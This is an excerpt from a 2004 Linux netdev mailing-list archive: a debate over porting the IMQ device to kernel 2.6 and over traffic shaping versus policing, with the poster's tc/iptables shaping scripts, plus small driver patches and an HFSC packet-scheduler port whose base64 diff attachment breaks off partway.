--0__=07BBE4B5DFE6B2BA8f9e8a93df938690918c07BBE4B5DFE6B2BA-- From davem@redhat.com Sun Jan 25 14:04:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 14:05:03 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PM4m7J020350 for ; Sun, 25 Jan 2004 14:04:49 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA31672; Sun, 25 Jan 2004 13:55:48 -0800 Date: Sun, 25 Jan 2004 13:55:47 -0800 (PST) Message-Id: <20040125.135547.99459090.davem@redhat.com> To: kaber@trash.net Cc: sebek64@post.cz, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: "David S. Miller" In-Reply-To: <401425B6.4050701@trash.net> References: <20040125152419.GA3208@penguin.localdomain> <20040125.112542.10303353.davem@redhat.com> <401425B6.4050701@trash.net> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2794 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Patrick McHardy Date: Sun, 25 Jan 2004 21:23:18 +0100 David S. Miller wrote: > Patrick, do you mind if I merge this 2.6.x port into my tree? Please don't. The imq device is buggy, ... Some users that depend on the functionality are working on a better implementation, I'd suggest to wait until then. Ok. From master@tentacle.sectorb.msk.ru Sun Jan 25 16:11:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 16:11:24 -0800 (PST) Received: from tentacle.sectorb.msk.ru (postfix@tentacle.s2s.msu.ru [193.232.119.109]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0Q0B37J025180 for ; Sun, 25 Jan 2004 16:11:04 -0800 Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 8F1142262; Mon, 26 Jan 2004 03:11:02 +0300 (MSK) Date: Mon, 26 Jan 2004 03:11:02 +0300 From: "Vladimir B. Savkin" To: jamal Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040126001102.GA12303@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075074316.1747.115.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2795 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev On Sun, Jan 25, 2004 at 06:45:16PM -0500, jamal wrote: > On Sun, 2004-01-25 at 15:21, Vladimir B. Savkin wrote: > > On Sun, Jan 25, 2004 at 02:22:19PM -0500, jamal wrote: > > > Think multiple clients connected via PPP. I want to shape traffic, > > so ingress is out of question. I want different clients in a same > > Ok, > a) why do you want to shape on ingress instead of policing? With typical internet traffic patterns, policing will drop many packets, and shaping will not. > OR > b) Why cant you achieve the same results by marking on ingress and > shaping on egress? Well, as I understand it, there's no "real" ingress and "real" egress. Look at this: Any forwarded packet 1) comes from one interface 2) receives some treatment (filtering, routing decision, maybe delaying if we shape, mangling etc.) and 3) goes away via some other interface step (1) is "ingress" step (3) is "egress" qdiscs work at step (2), so all of them are intermediate in this sense Well, ok, if a qdisc receives a feedback from egress interface on when to dequeue a packet (when interface is ready to send), we can say that it is an egress qdisc. But in my case, PPP connections are really PPTP or PPPoE. Internal network bandwidth is not a premium, so all internal interfaces are always ready to send. So, I don't shape at ingress or at egress, I shape passing-through traffic. > > htb class, so using qdisc on each ppp interface is out of > > question. It seems to me that IMQ is the only way to achieve my goals. > > By multiple clients i believe you mean you want to say "-i ppp+"? > We had a long discussion on this a while back (search netdev) > and i think it is a valid point for dynamic devices like ppp. Well, I don't really care whether those interfaces are dynamic or static. They could be multiple vlans, and nothing would change in marking or shaping. I use clients' IPs for marking, and routing table cares about interfaces. > We need to rethink how we do things. Theres a lot of valu in having per > device tables (scalability being one). > IMO, this alone does not justify the existence of IMQ. I just can't think of a better abstraction that would handle my case. > We should do this (and other things) right, maybe a sync with the > netfilter folks will be the right thing to do. > ~ :wq With best regards, Vladimir Savkin. From hadi@cyberus.ca Sun Jan 25 16:26:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 16:26:21 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0Q0Q87J028736 for ; Sun, 25 Jan 2004 16:26:08 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Aktwu-0002vY-BM; Sun, 25 Jan 2004 18:45:52 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20040125202148.GA10599@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075074316.1747.115.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Jan 2004 18:45:16 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2796 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sun, 2004-01-25 at 15:21, Vladimir B. Savkin wrote: > On Sun, Jan 25, 2004 at 02:22:19PM -0500, jamal wrote: > Think multiple clients connected via PPP. I want to shape traffic, > so ingress is out of question. I want different clients in a same Ok, a) why do you want to shape on ingress instead of policing? OR b) Why cant you achieve the same results by marking on ingress and shaping on egress? > htb class, so using qdisc on each ppp interface is out of > question. It seems to me that IMQ is the only way to achieve my goals. By multiple clients i believe you mean you want to say "-i ppp+"? We had a long discussion on this a while back (search netdev) and i think it is a valid point for dynamic devices like ppp. We need to rethink how we do things. Theres a lot of valu in having per device tables (scalability being one). IMO, this alone does not justify the existence of IMQ. We should do this (and other things) right, maybe a sync with the netfilter folks will be the right thing to do. cheers, jamal From rddunlap@osdl.org Sun Jan 25 16:58:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 16:59:03 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0Q0wg7J029749 for ; Sun, 25 Jan 2004 16:58:42 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0Q0wao12273; Sun, 25 Jan 2004 16:58:36 -0800 Date: Sun, 25 Jan 2004 16:56:33 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH[ depca: remove double semi-colon Message-Id: <20040125165633.2660c082.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2797 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Please apply to 2.6.current. -- ~Randy description: remove double semi-colon typo; diffstat:= drivers/net/depca.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -Naurp ./drivers/net/depca.c~depca_semi ./drivers/net/depca.c --- ./drivers/net/depca.c~depca_semi 2004-01-08 22:59:42.000000000 -0800 +++ ./drivers/net/depca.c 2004-01-25 16:48:45.000000000 -0800 @@ -1459,7 +1459,7 @@ static int __init depca_mca_probe(struct out_unclaim: mca_device_set_claim(mdev, 0); - return err;; + return err; } #endif From hadi@cyberus.ca Sun Jan 25 19:10:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 19:10:53 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0Q3AX7J002241 for ; Sun, 25 Jan 2004 19:10:36 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Akx8t-0004Fb-33; Sun, 25 Jan 2004 22:10:27 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20040126001102.GA12303@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075086588.1732.221.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Jan 2004 22:09:48 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2798 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sun, 2004-01-25 at 19:11, Vladimir B. Savkin wrote: > On Sun, Jan 25, 2004 at 06:45:16PM -0500, jamal wrote: [..] > > With typical internet traffic patterns, policing will drop many packets, > and shaping will not. What is typical internet traffic? I guess you mean TCP (thats what 90% of the traffic is) In that case, the effect of dropping or delaying on throughput is similar. Studies i have seen indicate that throughput is directly proportional to the square root of the drop probability (drop is what you get when you police). It is also influenced by the delay (which is what you introduce when you shape). I have not seen anything in favor of shaping; i could be wrong (so if you know of something or have experimented pass the data). For detailed analysis at least fro RENO, this would be a good reference: http://citeseer.nj.nec.com/padhye98modeling.html > > > OR > > b) Why cant you achieve the same results by marking on ingress and > > shaping on egress? > > Well, as I understand it, there's no "real" ingress and "real" egress. There is essentially only egress. > Look at this: > Any forwarded packet > 1) comes from one interface > 2) receives some treatment (filtering, routing decision, maybe > delaying if we shape, mangling etc.) > and > 3) goes away via some other interface > > step (1) is "ingress" There is no ingress perse. Separation of ingress and egress is typically a switch fabric or even a bus. So in this case, since you already have crossed the bus you are in ingress teritory. There is an ingress qdisc, but it is fake. The major value it adds is to drop early when there is need to (no point in making forwarding decision when you know you will drop the packet i.e no point in wasting those processor cycles)- and therefore the ingress qdisc act as a holder of filters. > step (3) is "egress" > qdiscs work at step (2), so all of them are intermediate in this sense > > > > Well, ok, if a qdisc receives a feedback from egress interface > on when to dequeue a packet (when interface is ready to send), > we can say that it is an egress qdisc. > Look at my explanation above. > But in my case, PPP connections are really PPTP or PPPoE. > Internal network bandwidth is not a premium, so all internal > interfaces are always ready to send. > > So, I don't shape at ingress or at egress, I shape passing-through > traffic. > The noun is not important. You crossed the bus already, you are in processor land. The value is being able to drop as early as possible when you need to. If you are not dropping and desire only to delay the packets, then do it at the proper egress device. > > > htb class, so using qdisc on each ppp interface is out of > > > question. It seems to me that IMQ is the only way to achieve my goals. > > > > By multiple clients i believe you mean you want to say "-i ppp+"? > > We had a long discussion on this a while back (search netdev) > > and i think it is a valid point for dynamic devices like ppp. > > Well, I don't really care whether those interfaces are dynamic or > static. They could be multiple vlans, and nothing would > change in marking or shaping. I use clients' IPs for marking, > and routing table cares about interfaces. > Maybe i am misunderstanding what you are after. couldnt you use -i ppp+ -j mark --set-mark x in the ingress/prerouting and use the fwmark to shape on the egress? Post your script examples. > > We need to rethink how we do things. Theres a lot of valu in having per > > device tables (scalability being one). > > IMO, this alone does not justify the existence of IMQ. > > I just can't think of a better abstraction that would handle my case. I think it is time we came with a single solution for how packets are managed. Your needs should be met, the problem is we may be having too many cooks creating the same meal. cheers, jamal From rddunlap@osdl.org Sun Jan 25 19:32:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 19:32:53 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0Q3WU7J003120 for ; Sun, 25 Jan 2004 19:32:32 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0Q3WLo30405; Sun, 25 Jan 2004 19:32:21 -0800 Date: Sun, 25 Jan 2004 19:30:17 -0800 From: "Randy.Dunlap" To: Jeff Garzik Cc: netdev@oss.sgi.com, ogasawara@osdl.org Subject: Re: [janitor] depca: release resources on errors Message-Id: <20040125193017.450d6ff8.rddunlap@osdl.org> In-Reply-To: <4013F096.4090705@pobox.com> References: <20040124223109.1c134ca1.rddunlap@osdl.org> <4013F096.4090705@pobox.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2799 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev On Sun, 25 Jan 2004 11:36:38 -0500 Jeff Garzik wrote: | Most of these patches you're sending are already in netdev-2.6, AFAICS... net: remove unnecessary type casting -- not found in netdev tc35815: handle ioremap() failure -- still missed (*Leann) depca: release resource on errors -- yes, already in netdev dgrs: add iounmap()s to failure paths -- still missed (*Leann) -- ~Randy *Leann: Please rediff these 2 patches after Jeff's netdev patches are merged, or rediff them against his patchsets. http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/ From davem@redhat.com Sun Jan 25 21:43:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 21:43:37 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0Q5hO7J009081 for ; Sun, 25 Jan 2004 21:43:24 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id VAA32444; Sun, 25 Jan 2004 21:34:24 -0800 Date: Sun, 25 Jan 2004 21:34:23 -0800 (PST) Message-Id: <20040125.213423.98866177.davem@redhat.com> To: shmulik.hen@intel.com Cc: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module From: "David S. Miller" In-Reply-To: References: X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2800 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: "Hen, Shmulik" Date: Sun, 25 Jan 2004 14:28:51 +0200 > Please resend these two changes after he does a release. Fair enough. What about 2.4 ? Sure, send it once 2.4.26-preX starts up. From master@tentacle.sectorb.msk.ru Mon Jan 26 02:15:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 02:15:48 -0800 (PST) Received: from tentacle.sectorb.msk.ru (postfix@tentacle.s2s.msu.ru [193.232.119.109]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QAFJ7J021007 for ; Mon, 26 Jan 2004 02:15:20 -0800 Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id AE1802242; Mon, 26 Jan 2004 12:32:30 +0300 (MSK) Date: Mon, 26 Jan 2004 12:32:30 +0300 From: "Vladimir B. Savkin" To: jamal Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040126093230.GA17811@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075086588.1732.221.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2801 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev On Sun, Jan 25, 2004 at 10:09:48PM -0500, jamal wrote: > On Sun, 2004-01-25 at 19:11, Vladimir B. Savkin wrote: > > On Sun, Jan 25, 2004 at 06:45:16PM -0500, jamal wrote: > [..] > > > > With typical internet traffic patterns, policing will drop many packets, > > and shaping will not. > > What is typical internet traffic? I guess you mean TCP (thats what 90% > of the traffic is) > In that case, the effect of dropping or delaying on throughput is > similar. Studies i have seen indicate that throughput is directly > proportional to the square root of the drop probability > (drop is what you get when you police). > It is also influenced by the delay (which is what you introduce when you > shape). I have not seen anything in favor of shaping; i could be wrong > (so if you know of something or have experimented pass the data). Yes, I have experimented. Shaping works much better: much less packets dropped, much better donwload rates for clients. > For detailed analysis at least fro RENO, this would be a good reference: > http://citeseer.nj.nec.com/padhye98modeling.html > [snip] > Maybe i am misunderstanding what you are after. > couldnt you use -i ppp+ -j mark --set-mark x in the ingress/prerouting > and use the fwmark to shape on the egress? > Post your script examples. > I want to shape traffic that comes from upstream to clients connected via PPTP. Here is a part of my scripts: DEVICE=imq0 /sbin/tc qidisc add dev $DEVICE root handle 10: htb r2q 1 default 100 /sbin/tc class add dev $DEVICE parent 10:0 classid 10:1 est 1sec 8sec htb \ rate 10Mbit burst 400k /sbin/tc class add dev $DEVICE parent 10:1 classid 10:2 est 1sec 8sec htb \ rate 180kbps ceil 180kbps burst 3000 # default class for users /sbin/tc class add dev $DEVICE parent 10:2 classid 10:101 est 1sec 8sec htb \ rate 20kbps burst 1k ceil 50kbps cburst 1k /sbin/tc qdisc add dev $DEVICE parent 10:101 wrr \ dest ip 128 1 wmode1=1 wmode2=1 /sbin/tc filter add dev $DEVICE protocol ip parent 10:0 \ prio 100 handle 1 fw flowid 10:101 # more classes to follow ... The limit 50kbps is artificial, so there's no bottleneck in connection from upstream to this router. I cannot allocate all the channel bandwidth to clients for some political reasons. Then, I mark packets I want to go to this default user class with mark "1", like this: iptables -t mangle -A FORWARD -i $UPLINK_DEV -d $CLIENTS_NET \ -j IMQ --todev 0 # traffic from internet to clients iptables -t mangle -A FORWARD -i $UPLINK_DEV -d $CLIENTS_NET \ -j MARK --set-mark 1 # default class # here I can change fwmark for packets that deserve # some special treatment So, I shape traffic destined to clients, and I use "wrr" to divide bandwidth fairly. I cannot attach qdisc to an egress device because there's no single one, each client has its own ppp interface. Well, I could move this shaping upstream, but what if upstream router was some dumb cisco with no "wrr" qdisc? ~ :wq With best regards, Vladimir Savkin. From kaber@stinky.trash.net Mon Jan 26 04:02:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 04:02:26 -0800 (PST) Received: from stinky.trash.net (stinky.trash.net [195.134.144.50]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QC247J025153 for ; Mon, 26 Jan 2004 04:02:07 -0800 Received: from localhost (localhost [127.0.0.1]) by stinky.trash.net (Postfix) with ESMTP id AC355948FB; Mon, 26 Jan 2004 13:02:00 +0100 (MET) Date: Mon, 26 Jan 2004 13:02:00 +0100 (MET) From: Patrick McHardy To: netdev@oss.sgi.com Cc: linux-net@vger.kernel.org, Subject: [PATCH]: altq HFSC port Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-851401618-1075118520=:22399" X-archive-position: 2802 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@stinky.trash.net Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-851401618-1075118520=:22399 Content-Type: TEXT/PLAIN; charset=US-ASCII This patch is a port of HFSC from altq to Linux 2.6. HFSC is a hierarchical packet scheduler which allows flexible resource allocation by decoupling of bandwidth and delay. The original version and a paper describing HFSC can be found here: http://www-2.cs.cmu.edu/~hzhang/HFSC/main.html . iproute paches, 2.4 patches, tcsim patches and related stuff are available at http://trash.net/~kaber/hfsc . I would like to get this mergable, so comments/testing are highly appreciated. It's running stable on 2.6 for a couple of month, testing in tcsim and personal experience showed excellent results. Known issues are: - requeuing is broken. Currently, packets are requeued to the class they came from without adjusting (internal) statistics. The easiest solution is probably a fifo requeue-queue which is always dequeued first. - intolerant to user errors: when used with non-work-conserving inner qdiscs it will crash when the inner qdisc decides not to give out any packets and q.qlen != 0. - layout of struct hfsc_class is all but optimal The last issue is the License: The altq version is released under a BSD-style License without advertising clause (the original authors kindly agreed to remove it). It is my understanding that this is compatible with the GPL, and because the code includes some minor amounts of GPL'ed code the correct License is GPL and not Dual BSD/GPL. I would be glad if someone can confirm that this is correct. Best regards, Patrick ---559023410-851401618-1075118520=:22399 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.6.2-rc2-hfsc.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="linux-2.6.2-rc2-hfsc.diff" ZGlmZiAtdXJOIGxpbnV4LTIuNS9pbmNsdWRlL2xpbnV4L3BrdF9zY2hlZC5o IGxpbnV4LTIuNS1oZnNjL2luY2x1ZGUvbGludXgvcGt0X3NjaGVkLmgNCi0t LSBsaW51eC0yLjUvaW5jbHVkZS9saW51eC9wa3Rfc2NoZWQuaAkyMDA0LTAx LTI2IDEwOjQxOjE4LjAwMDAwMDAwMCArMDEwMA0KKysrIGxpbnV4LTIuNS1o ZnNjL2luY2x1ZGUvbGludXgvcGt0X3NjaGVkLmgJMjAwNC0wMS0yNiAxMDo0 NTo1Ni4wMDAwMDAwMDAgKzAxMDANCkBAIC0yOTAsNiArMjkwLDM3IEBADQog CV9fdTMyIGN0b2tlbnM7DQogfTsNCiANCisvKiBIRlNDIHNlY3Rpb24gKi8N CisNCitzdHJ1Y3QgdGNfaGZzY19xb3B0DQorew0KKwlfX3UxNglkZWZjbHM7 CQkvKiBkZWZhdWx0IGNsYXNzICovDQorfTsNCisNCitzdHJ1Y3QgdGNfc2Vy dmljZV9jdXJ2ZQ0KK3sNCisJX191MzIJbTE7CQkvKiBzbG9wZSBvZiB0aGUg Zmlyc3Qgc2VnbWVudCBpbiBicHMgKi8NCisJX191MzIJZDsJCS8qIHgtcHJv amVjdGlvbiBvZiB0aGUgZmlyc3Qgc2VnbWVudCBpbiB1cyAqLw0KKwlfX3Uz MgltMjsJCS8qIHNsb3BlIG9mIHRoZSBzZWNvbmQgc2VnbWVudCBpbiBicHMg Ki8NCit9Ow0KKw0KK3N0cnVjdCB0Y19oZnNjX3N0YXRzDQorew0KKwlfX3U2 NAl3b3JrOwkJLyogdG90YWwgd29yayBkb25lICovDQorCV9fdTY0CXJ0d29y azsJCS8qIHdvcmsgZG9uZSBieSByZWFsLXRpbWUgY3JpdGVyaWEgKi8NCisJ X191MzIJcGVyaW9kOwkJLyogY3VycmVudCBwZXJpb2QgKi8NCisJX191MzIJ bGV2ZWw7CQkvKiBjbGFzcyBsZXZlbCBpbiBoaWVyYXJjaHkgKi8NCit9Ow0K Kw0KK2VudW0NCit7DQorCVRDQV9IRlNDX1VOU1BFQywNCisJVENBX0hGU0Nf UlNDLA0KKwlUQ0FfSEZTQ19GU0MsDQorCVRDQV9IRlNDX1VTQywNCisJVENB X0hGU0NfTUFYID0gVENBX0hGU0NfVVNDDQorfTsNCisNCiAvKiBDQlEgc2Vj dGlvbiAqLw0KIA0KICNkZWZpbmUgVENfQ0JRX01BWFBSSU8JCTgNCmRpZmYg LXVyTiBsaW51eC0yLjUvaW5jbHVkZS9uZXQvcGt0X3NjaGVkLmggbGludXgt Mi41LWhmc2MvaW5jbHVkZS9uZXQvcGt0X3NjaGVkLmgNCi0tLSBsaW51eC0y LjUvaW5jbHVkZS9uZXQvcGt0X3NjaGVkLmgJMjAwNC0wMS0yNiAxMDo0MDow Mi4wMDAwMDAwMDAgKzAxMDANCisrKyBsaW51eC0yLjUtaGZzYy9pbmNsdWRl L25ldC9wa3Rfc2NoZWQuaAkyMDA0LTAxLTI2IDEwOjQ0OjI3LjAwMDAwMDAw MCArMDEwMA0KQEAgLTIwMyw2ICsyMDMsNyBAQA0KIA0KICNkZWZpbmUgUFND SEVEX0dFVF9USU1FKHN0YW1wKSBkb19nZXR0aW1lb2ZkYXkoJihzdGFtcCkp DQogI2RlZmluZSBQU0NIRURfVVMySklGRklFKHVzZWNzKSAoKCh1c2Vjcykr KDEwMDAwMDAvSFotMSkpLygxMDAwMDAwL0haKSkNCisjZGVmaW5lIFBTQ0hF RF9KSUZGSUUyVVMoZGVsYXkpICgoZGVsYXkpKigxMDAwMDAwL0haKSkNCiAN CiAjZGVmaW5lIFBTQ0hFRF9FWFBPUlRMSVNUIEVYUE9SVF9TWU1CT0wocHNj aGVkX3RvZF9kaWZmKTsNCiANCkBAIC0yNTEsNiArMjUyLDcgQEANCiAjZW5k aWYNCiANCiAjZGVmaW5lIFBTQ0hFRF9VUzJKSUZGSUUoZGVsYXkpICgoKGRl bGF5KSsoMTw8UFNDSEVEX0pTQ0FMRSktMSk+PlBTQ0hFRF9KU0NBTEUpDQor I2RlZmluZSBQU0NIRURfSklGRklFMlVTKGRlbGF5KSAoKGRlbGF5KTw8UFND SEVEX0pTQ0FMRSkNCiANCiAjZWxpZiBQU0NIRURfQ0xPQ0tfU09VUkNFID09 IFBTQ0hFRF9DUFUNCiANCkBAIC0yNjEsNiArMjYzLDcgQEANCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgRVhQT1JUX1NZTUJPTChwc2NoZWRfY2xv Y2tfc2NhbGUpOw0KIA0KICNkZWZpbmUgUFNDSEVEX1VTMkpJRkZJRShkZWxh eSkgKCgoZGVsYXkpK3BzY2hlZF9jbG9ja19wZXJfaHotMSkvcHNjaGVkX2Ns b2NrX3Blcl9oeikNCisjZGVmaW5lIFBTQ0hFRF9KSUZGSUUyVVMoZGVsYXkp ICgoZGVsYXkpKnBzY2hlZF9jbG9ja19wZXJfaHopDQogDQogI2lmZGVmIENP TkZJR19YODZfVFNDDQogDQpkaWZmIC11ck4gbGludXgtMi41L25ldC9zY2hl ZC9LY29uZmlnIGxpbnV4LTIuNS1oZnNjL25ldC9zY2hlZC9LY29uZmlnDQot LS0gbGludXgtMi41L25ldC9zY2hlZC9LY29uZmlnCTIwMDQtMDEtMjYgMTA6 NDE6MzYuMDAwMDAwMDAwICswMTAwDQorKysgbGludXgtMi41LWhmc2MvbmV0 L3NjaGVkL0tjb25maWcJMjAwNC0wMS0yNiAxMDo0Njo0MS4wMDAwMDAwMDAg KzAxMDANCkBAIC0zOSw2ICszOSwxNiBAQA0KIAkgIFRvIGNvbXBpbGUgdGhp cyBjb2RlIGFzIGEgbW9kdWxlLCBjaG9vc2UgTSBoZXJlOiB0aGUNCiAJICBt b2R1bGUgd2lsbCBiZSBjYWxsZWQgc2NoX2h0Yi4NCiANCitjb25maWcgTkVU X1NDSF9IRlNDDQorCXRyaXN0YXRlICJIRlNDIHBhY2tldCBzY2hlZHVsZXIi DQorCWRlcGVuZHMgb24gTkVUX1NDSEVEDQorCS0tLWhlbHAtLS0NCisJICBT YXkgWSBoZXJlIGlmIHlvdSB3YW50IHRvIHVzZSB0aGUgSGllcmFyY2hpY2Fs IEZhaXIgU2VydmljZSBDdXJ2ZQ0KKwkgIChIRlNDKSBwYWNrZXQgc2NoZWR1 bGluZyBhbGdvcml0aG0gZm9yIHNvbWUgb2YgeW91ciBuZXR3b3JrIGRldmlj ZXMuDQorDQorCSAgVG8gY29tcGlsZSB0aGlzIGNvZGUgYXMgYSBtb2R1bGUs IGNob29zZSBNIGhlcmU6IHRoZQ0KKwkgIG1vZHVsZSB3aWxsIGJlIGNhbGxl 